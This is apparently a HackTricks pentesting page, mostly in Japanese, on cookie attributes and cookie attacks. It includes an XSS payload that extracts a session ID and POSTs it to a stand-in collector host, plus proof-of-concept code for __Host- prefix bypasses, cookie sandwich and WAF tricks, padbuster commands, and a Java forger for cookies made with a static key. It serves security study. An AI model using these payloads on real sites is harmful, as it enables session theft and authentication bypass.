Cookies Hacking

Reading time: 33 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Cookies には、ユーザーのブラウザでの振る舞いを制御するいくつかの属性がある。以下はこれらの属性の概要(受動的な表現)である。

Expires and Max-Age

Expires 属性で cookie の有効期限が決まる。対して Max-age 属性は cookie が削除されるまでの秒数を定義する。よりモダンな慣習を反映するため、Max-age を選択することが推奨される。

Domain

cookie を受け取るホストは Domain 属性で指定される。デフォルトではこれは cookie を発行したホストに設定され、サブドメインは含まれない。しかし Domain 属性を明示的に設定するとサブドメインも包含される。これにより Domain 属性の指定は制約の少ない選択肢となり、サブドメイン間で cookie を共有する必要がある場合に有用である。例えば Domain=mozilla.org とすると developer.mozilla.org のようなサブドメインでも cookie にアクセスできる。

Path

Path 属性は、リクエストされた URL にその特定のパスが含まれている場合に Cookie ヘッダが送信されることを示す。この属性は / をディレクトリ区切りとして扱うため、サブディレクトリにもマッチする。

Ordering Rules

同じ名前の cookie が二つある場合、送信される cookie の選択は以下に基づく:

  • リクエスト URL において最も長い path にマッチする cookie
  • パスが同一であれば、より新しく設定された cookie

SameSite

SameSite 属性はサードパーティドメイン発のリクエストで cookie が送信されるかを決定する。設定は以下の3つである:

  • Strict: サードパーティリクエストでの cookie 送信を禁止する。
  • Lax: サードパーティサイトから開始された GET リクエストに対して cookie の送信を許可する。
  • None: どのサードパーティドメインからのリクエストでも cookie の送信を許可する。

cookie を設定する際、これらの属性を理解しておくことで様々なシナリオで期待通りに動作させることができる。

リクエスト種別例(コード)Cookie が送信される場合
リンク (Link)<a href="..."></a>NotSet*, Lax, None
Prerender<link rel="prerender" href=".."/>NotSet*, Lax, None
フォーム GET<form method="GET" action="...">NotSet*, Lax, None
フォーム POST<form method="POST" action="...">NotSet*, None
iframe<iframe src="..."></iframe>NotSet*, None
AJAX$.get("...")NotSet*, None
画像 (Image)<img src="...">NetSet*, None

Table from Invicti and slightly modified.
A cookie with SameSite attribute will mitigate CSRF attacks where a logged session is needed.

*Notice that from Chrome80 (feb/2019) the default behaviour of a cookie without a cookie samesite attribute will be lax (https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/).
注意: この変更適用後、一時的に Chrome は SameSite ポリシーを持たない cookie を最初の2分間は None と扱い、その後トップレベルのクロスサイト POST リクエストに対しては Lax と扱う。

Cookies Flags

HttpOnly

これによりクライアントが cookie にアクセスすることが防止される(例えば Javascriptdocument.cookie)。

Bypasses

  • ページがリクエストのレスポンスとして cookie を送信している場合(例: PHPinfo ページ)、XSS を悪用してそのページへリクエストを送り、レスポンスから cookie を 盗む ことが可能である(例は https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/ を参照)。
  • サーバが送られた cookie をレスポンスで反映する場合(もし TRACE メソッドが利用可能であれば)、TRACE HTTP リクエストでこれをバイパスできることがある。この技術は Cross-Site Tracking と呼ばれる。
  • 現代のブラウザは JS から TRACE リクエストを送信できないようにしてこの手法を防いでいる。しかし、IE6.0 SP2 に対して \r\nTRACE を送るなど、特定のソフトウェアに対するバイパスが発見された例がある。
  • 別の方法としてブラウザの zero/day 脆弱性を悪用する手法がある。
  • Cookie Jar overflow attack を実行することで HttpOnly cookie を上書きすることが可能である:

Cookie Jar Overflow

  • これらの cookie を外部送信(exfiltrate)するために Cookie Smuggling 攻撃を使うことが可能である
  • もし任意のサーバサイドのエンドポイントが HTTP レスポンス内に生のセッション ID をエコーしている場合(例: HTML コメントやデバッグブロック内)、XSS ガジェットを用いてそのエンドポイントを取得し、正規表現で秘密を抽出して外部送信することで HttpOnly を回避できる。例としての XSS ペイロードパターン:
js
// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
fetch('/index.php?module=Touch&action=ws')
.then(r => r.text())
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });

Secure

リクエストは、セキュアなチャネル(通常は HTTPS)で送信される場合にのみ、HTTPリクエストにクッキーを送信します。

Cookies Prefixes

Cookies prefixed with __Secure- are required to be set alongside the secure flag from pages that are secured by HTTPS.

For cookies prefixed with __Host-, several conditions must be met:

  • They must be set with the secure flag.
  • They must originate from a page secured by HTTPS.
  • They are forbidden from specifying a domain, preventing their transmission to subdomains.
  • The path for these cookies must be set to /.

It is important to note that cookies prefixed with __Host- are not allowed to be sent to superdomains or subdomains. This restriction aids in isolating application cookies. Thus, employing the __Host- prefix for all application cookies can be considered a good practice for enhancing security and isolation.

Overwriting cookies

つまり、__Host- プレフィックス付きクッキーの保護の一つは、サブドメインからの上書きを防ぐことです。例えば Cookie Tossing attacks を防ぎます。講演 Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilitiespaper)では、パーサを騙すことでサブドメインから __HOST- プレフィックス付きクッキーを設定できることが示されており、例えば名前の先頭や先頭と末尾に "=" を追加するなどの手法が挙げられています:

また、PHPではクッキー名の先頭に他の文字を追加し、それがアンダースコアに置換されることで __HOST- クッキーを上書きできる場合がありました:

クッキー名の先頭にUnicodeの空白コードポイントを付加して、browserとserverのパースの不一致を悪用します。ブラウザ側は名前が文字通り __Host-/__Secure- で始まるとは見なさないため、サブドメインからの設定を許可します。バックエンドがクッキーキーの先頭のUnicode空白をトリム/正規化する場合、保護された名前として認識し、高権限のクッキーを上書きしてしまう可能性があります。

  • PoC from a subdomain that can set parent-domain cookies:
js
document.cookie = `${String.fromCodePoint(0x2000)}__Host-name=injected; Domain=.example.com; Path=/;`;
  • Typical backend behavior that enables the issue:

  • Cookieキーをトリム/正規化するフレームワーク。Djangoでは、Pythonのstr.strip()が幅広いUnicode空白コードポイントを削除し、名前が__Host-nameに正規化される。

  • 一般的にトリムされるコードポイントには次のものが含まれる: U+0085 (NEL, 133), U+00A0 (NBSP, 160), U+1680 (5760), U+2000–U+200A (8192–8202), U+2028 (8232), U+2029 (8233), U+202F (8239), U+205F (8287), U+3000 (12288)。

  • 多くのフレームワークは重複するCookie名を「最後のものが勝つ」方式で解決するため、攻撃者が制御した正規化されたCookie値が正当な値を上書きする。

  • Browser differences matter:

  • SafariはCookie名のマルチバイトUnicode空白をブロックする(例: U+2000を拒否)が、単一バイトのU+0085やU+00A0は依然として許可する場合があり、これらは多くのバックエンドでトリムされる。ブラウザ間でクロステストを行うこと。

  • Impact: Enables overwriting of __Host-/__Secure- cookies from less-trusted contexts (subdomains), which can lead to XSS (if reflected), CSRF token override, and session fixation.

  • On-the-wire vs server view example (U+2000 present in name):

Cookie: __Host-name=Real;  __Host-name=<img src=x onerror=alert(1)>;

多くのバックエンドは split/parse した後に trim を行うため、正規化された __Host-name が攻撃者の値を取ってしまいます。

一部の Java スタック(例: Tomcat/Jetty-style)では、Cookie ヘッダが $Version=1 で始まるときに、古い RFC 2109/2965 パーシングが有効になっていることがあります。これにより、サーバは単一の cookie 文字列を複数の論理的な cookie として再解釈し、サブドメインや安全でないオリジンで設定された偽造の __Host- エントリを受け入れてしまう可能性があります。

  • PoC forcing legacy parsing:
js
document.cookie = `$Version=1,__Host-name=injected; Path=/somethingreallylong/; Domain=.example.com;`;
  • なぜ動作するのか:

  • クライアント側のプレフィックスチェックは設定時に適用されるが、サーバー側の旧式のパースが後でヘッダーを分割・正規化するため、__Host-/__Secure- プレフィックスの意図を回避してしまう。

  • 試す場所: Tomcat、Jetty、Undertow、または RFC 2109/2965 の属性をまだ尊重するフレームワーク。重複名の上書きセマンティクスと組み合わせる。

重複名の「最後が勝つ」上書きプリミティブ

2つの cookie が同じ名前に正規化されると、多くのバックエンド(Django を含む)は最後に現れたものを使用します。smuggling/legacy-splitting により __Host-* が2つ生成された場合、通常は攻撃者が制御する方が勝ちます。

検出とツール

これらの条件を調査するには Burp Suite を使用する:

  • 複数の先頭 Unicode 空白コードポイント(U+2000、U+0085、U+00A0 など)を試し、バックエンドがトリミングして名前をプレフィックス付きとして扱うか確認する。
  • Cookie ヘッダで最初に $Version=1 を送信し、バックエンドが legacy splitting/normalization を行うか確認する。
  • 同じ名前に正規化される2つの cookie を注入して、重複名の解決(先勝ち vs 後勝ち)を観察する。
  • 自動化用の Burp Custom Action: CookiePrefixBypass.bambda

Tip: これらの手法は RFC 6265 の octet-vs-string ギャップを悪用します: ブラウザはバイトを送信し、サーバはデコードして正規化/トリムすることがあります。デコードと正規化の不一致がバイパスの核心です。

Cookies 攻撃

カスタム cookie に機密データが含まれている場合は必ず確認してください(特に CTF をプレイしている場合)。脆弱である可能性があります。

Cookies のデコードと改変

cookie に埋め込まれた機密データは常に精査する必要があります。Base64 などの形式でエンコードされた cookie はしばしばデコード可能です。この脆弱性により、攻撃者は cookie の内容を変更し、変更後のデータを再度エンコードして cookie に戻すことで他のユーザを偽装できます。

Session Hijacking

この攻撃はユーザの cookie を盗んでアプリケーション内のアカウントへ不正アクセスすることを伴います。盗んだ cookie を使用することで、攻撃者は正当なユーザになりすますことができます。

Session Fixation

この場合、攻撃者は被害者を騙して特定の cookie を使ってログインさせます。アプリケーションがログイン時に新しい cookie を割り当てない場合、攻撃者は元の cookie を保持して被害者を偽装できます。この手法は、被害者が攻撃者が用意した cookie を使ってログインすることに依存します。

もしサブドメインでXSSを見つけた、またはサブドメインを制御している場合は、以下を読んでください:

Cookie Tossing

Session Donation

ここでは、攻撃者が被害者に攻撃者のセッション cookie を使わせます。被害者は自分のアカウントにログインしていると信じて、意図せず攻撃者のアカウントのコンテキストで操作を行ってしまいます。

もしサブドメインでXSSを見つけた、またはサブドメインを制御している場合は、以下を読んでください:

Cookie Tossing

JWT Cookies

前のリンクをクリックすると、JWT の潜在的な欠陥について説明したページにアクセスできます。

Cookies に使用される JSON Web Tokens (JWT) も脆弱性を持つことがあります。潜在的な欠陥やそれを悪用する方法の詳細については、リンク先の hacking JWT ドキュメントを参照することを推奨します。

Cross-Site Request Forgery (CSRF)

この攻撃は、ログイン中のユーザに対して、そのユーザが認証されている web アプリケーション上で望ましくない操作を実行させます。攻撃者は、脆弱なサイトに対して送信されるリクエストとともに自動的に送られる cookie を悪用できます。

空の Cookies

(Check further details in theoriginal research) ブラウザは名前なしの cookie を作成することを許可しており、これは以下の JavaScript で示すことができます:

js
document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"

送信される cookie ヘッダーの結果は a=v1; test value; b=v2; です。興味深いことに、名前が空の cookie を設定すると cookie を操作できる可能性があり、空の cookie に特定の値を設定することで他の cookie を制御できる場合があります:

js
function setCookie(name, value) {
document.cookie = `${name}=${value}`
}

setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value

これによりブラウザは cookie ヘッダを送信し、すべての Web サーバはそれを名前が a、値が b の cookie として解釈します。

Chrome バグ: Unicode サロゲートコードポイントの問題

Chrome では、Unicode のサロゲートコードポイントが set cookie の一部になっていると、document.cookie が破損し、その後空の文字列を返します:

js
document.cookie = "\ud800=meep"

これにより document.cookie は空文字列を出力し、恒久的な破損を示します。

(詳細はoriginal research をご確認ください) Java (Jetty, TomCat, Undertow) や Python (Zope, cherrypy, web.py, aiohttp, bottle, webob) を含むいくつかの web サーバは、古い RFC2965 のサポートのために cookie 文字列を誤処理します。これらは、セミコロンで区切られるはずの key-value ペアを含んでいても、ダブルクオートで囲まれた cookie 値を単一の値として読み取ります:

RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";

(Check further details in theoriginal research) サーバー、特に Undertow、Zope、および Python の http.cookie.SimpleCookiehttp.cookie.BaseCookie を使っているものによる cookie の誤ったパースは、cookie injection 攻撃の機会を生みます。これらのサーバーは新しい cookie の開始を正しく区切れず、攻撃者が cookie を偽装できる状態になります:

  • Undertow は引用符で囲まれた値の直後にセミコロンなしで新しい cookie を期待します。
  • Zope は次の cookie の解析を開始するためにコンマを探します。
  • Python の cookie クラスはスペース文字で解析を開始します。

この脆弱性は cookie ベースの CSRF 保護に依存する Web アプリケーションで特に危険で、攻撃者が偽の CSRF-token cookie を注入してセキュリティ対策を回避する可能性があります。Python が同名の cookie を重複させた場合に後の出現が先のものを上書きする扱いも問題を悪化させます。さらに、__Secure-__Host- cookie が安全でないコンテキストで問題を引き起こす懸念があり、cookie がバックエンドのサーバーに渡され、そのサーバーが偽装に弱い場合には認可バイパスにつながる可能性があります。

Cookies $version

WAF Bypass

According to this blogpost, it might be possible to use the cookie attribute $Version=1 to make the backend use an old logic to parse the cookie due to the RFC2109. Moreover, other values just as $Domain and $Path can be used to modify the behaviour of the backend with the cookie.

According to this blogpost it's possible to use the cookie sandwich technique to steal HttpOnly cookies. These are the requirements and steps:

  • レスポンスに無意味に見える cookie が反映される場所 を見つける
  • $Version という cookie を作成する(値は 1。これは XSS による JS から実行可能)より具体的な path を指定して最初の位置を確保する(一部のフレームワーク、例えば python はこのステップを必要としない)
  • レスポンスに反映される cookie を作成する(値は開いた double quotes を残し、特定の path を指定して前の ($Version) の後に cookie DB に配置されるようにする)
  • すると、正規の cookie が順序上その次に来る
  • 値の中で double quotes を閉じるダミーの cookie を作成する

このようにして被害者の cookie は新しいバージョン1の cookie に取り込まれ、反映されるたびに含まれるようになります。 例: 投稿より:

javascript
document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
// any cookies inside the sandwich will be placed into param1 value server-side
document.cookie = `param2=end";`;

WAF bypasses

Cookies $version

前のセクションを確認してください。

Bypassing value analysis with quoted-string encoding

このパースは cookie 内のエスケープされた値を unescape(エスケープ解除)することを示します。つまり "\a" は "a" になります。これは WAFS をバイパスするのに有用です:

  • eval('test') => forbidden
  • "\e\v\a\l\(\'\t\e\s\t\'\)" => allowed

RFC2109 では、カンマは cookie 値の区切りに使えると示されています。また、等号の前後に スペースやタブを追加できることも可能です。したがって $Version=1; foo=bar, abc = qux のような cookie は "foo":"bar, admin = qux" という cookie を生成するのではなく、foo":"bar""admin":"qux" という cookie を生成します。2 つの cookie が生成され、admin の等号の前後のスペースが取り除かれていることに注意してください。

最後に、異なる backdoors は異なる cookie ヘッダで渡された複数の cookie を一つの文字列に結合することがあります。例えば:

GET / HTTP/1.1
Host: example.com
Cookie: param1=value1;
Cookie: param2=value2;

これは次の例のように WAF をバイパスできる可能性があります:

Cookie: name=eval('test//
Cookie: comment')

Resulting cookie: name=eval('test//, comment') => allowed

追加の脆弱な Cookies チェック

基本的なチェック

  • 毎回loginするたびにcookie同じか確認する。
  • ログアウトして同じcookieを使えるか試す。
  • 同じcookieを使い、2台のデバイス(またはブラウザ)で同じアカウントにlog inできるか試す。
  • cookieに情報が含まれているかを確認し、変更できるか試す。
  • ほぼ同じusernameで複数のアカウントを作成し、類似点が見えるか確認する。
  • 存在する場合は"remember me"オプションがどのように動作するかを確認する。もし存在し脆弱であり得る場合は、他のcookieを使わず常にremember meのcookieのみを使用する。
  • パスワードを変更した後でも以前のcookieが有効か確認する。

高度な cookies 攻撃

もしcookielogin時に同じ(またはほぼ同じ)のままであれば、これはそのcookieがアカウントの何らかのフィールド(おそらくusername)に関連していることを示す可能性が高い。そうした場合、次のことができる:

  • 非常にsimilarなusernamesで大量のaccountsを作成し、アルゴリズムがどのように動作しているかをguessする。
  • bruteforce the usernameを試みる。もしcookieがusernameの認証手段としてのみ保存されているなら、usernameを"Bmin"にしてアカウントを作成し、cookieの各bitbruteforceできる(試すcookieのうちの1つが"admin"のものになるため)。
  • Padding Oracleを試す(cookieの内容を復号できる場合がある)。padbusterを使う。

Padding Oracle - Padbuster の例

bash
padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64
padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies auth=u7bvLewln6PJPSAbMb5pFfnCHSEd6olf

# If Base64 urlsafe or hex-lowercase or hex-uppercase --encoding parameter is needed, for example:
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2

Padbusterはいくつか試行を行い、どの条件がエラー条件(無効なもの)かを尋ねてきます。

その後、cookieのdecryptingを開始します(数分かかる場合があります)

もしattackが正常に実行されていれば、任意の文字列をencryptしてみることができます。例えば、encrypt user=administrator

padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator

この実行により、文字列 user=administrator を含むように、cookie が正しく暗号化およびエンコードされます。

CBC-MAC

cookie に何らかの値があり、CBC を使って署名されている可能性があります。この場合、その値の整合性は同じ値を CBC で処理して作られた署名によって保たれます。IV として null vector を使うことが推奨されているため、この種の整合性チェックは脆弱になり得ます。

The attack

  1. username administ = t の署名を取得する
  2. username rator\x00\x00\x00 XOR t = t' の署名を取得する
  3. cookie に administrator+t' を設定する(t'(rator\x00\x00\x00 XOR t) XOR t = rator\x00\x00\x00 の有効な署名になる)

ECB

もし cookie が ECB で暗号化されている場合、脆弱である可能性があります。
ログイン時に受け取る cookie は常に同じであるはずです。

How to detect and attack:

ほぼ同じデータ(username, password, email, etc.)で2つのユーザを作成し、与えられた cookie の中に何らかのパターンがないか調べます

例えば "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" というユーザを作成し、cookie にパターンがあるか確認します(ECB は各ブロックを同じキーで暗号化するため、username が暗号化されていれば同じ暗号化バイト列が現れる可能性があります)。

ブロックサイズに相当するパターンが見つかるはずです。したがって、"a" がどのように暗号化されるかが分かれば、username を "a"*(size of the block)+"admin" のように作成できます。次に、cookie から "a" ブロックに対応する暗号化パターンを削除すれば、username "admin" の cookie を得られます。

Some applications mint authentication cookies by encrypting only a predictable value (e.g., the numeric user ID) under a global, hard-coded symmetric key, then encoding the ciphertext (hex/base64). If the key is static per product (or per install), anyone can forge cookies for arbitrary users offline and bypass authentication.

How to test/forge

  • Identify the cookie(s) that gate auth, e.g., COOKIEID and ADMINCOOKIEID.
  • Determine cipher/encoding. In one real-world case the app used IDEA with a constant 16-byte key and returned the ciphertext as hex.
  • Verify by encrypting your own user ID and comparing with the issued cookie. If it matches, you can mint cookies for any target ID (1 often maps to the first admin).
  • Set the forged value directly as the cookie and browse; no credentials are needed.
実際に使われた Minimal Java PoC (IDEA + hex)
java
import cryptix.provider.cipher.IDEA;
import cryptix.provider.key.IDEAKeyGenerator;
import cryptix.util.core.Hex;
import java.security.Key;
import java.security.KeyException;
import java.io.UnsupportedEncodingException;

public class App {
private String ideaKey = "1234567890123456"; // example static key

public String encode(char[] plainArray) { return encode(new String(plainArray)); }

public String encode(String plain) {
IDEAKeyGenerator keygen = new IDEAKeyGenerator();
IDEA encrypt = new IDEA();
Key key;
try {
key = keygen.generateKey(this.ideaKey.getBytes());
encrypt.initEncrypt(key);
} catch (KeyException e) { return null; }
if (plain.length() == 0 || plain.length() % encrypt.getInputBlockSize() > 0) {
for (int currentPad = plain.length() % encrypt.getInputBlockSize(); currentPad < encrypt.getInputBlockSize(); currentPad++) {
plain = plain + " "; // space padding
}
}
byte[] encrypted = encrypt.update(plain.getBytes());
return Hex.toString(encrypted); // cookie expects hex
}

public String decode(String chiffre) {
IDEAKeyGenerator keygen = new IDEAKeyGenerator();
IDEA decrypt = new IDEA();
Key key;
try {
key = keygen.generateKey(this.ideaKey.getBytes());
decrypt.initDecrypt(key);
} catch (KeyException e) { return null; }
byte[] decrypted = decrypt.update(Hex.fromString(chiffre));
try { return new String(decrypted, "ISO_8859-1").trim(); } catch (UnsupportedEncodingException e) { return null; }
}

public void setKey(String key) { this.ideaKey = key; }
}
コンテキスト(例:server-side session with random ID、または anti-replay properties を追加)。

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする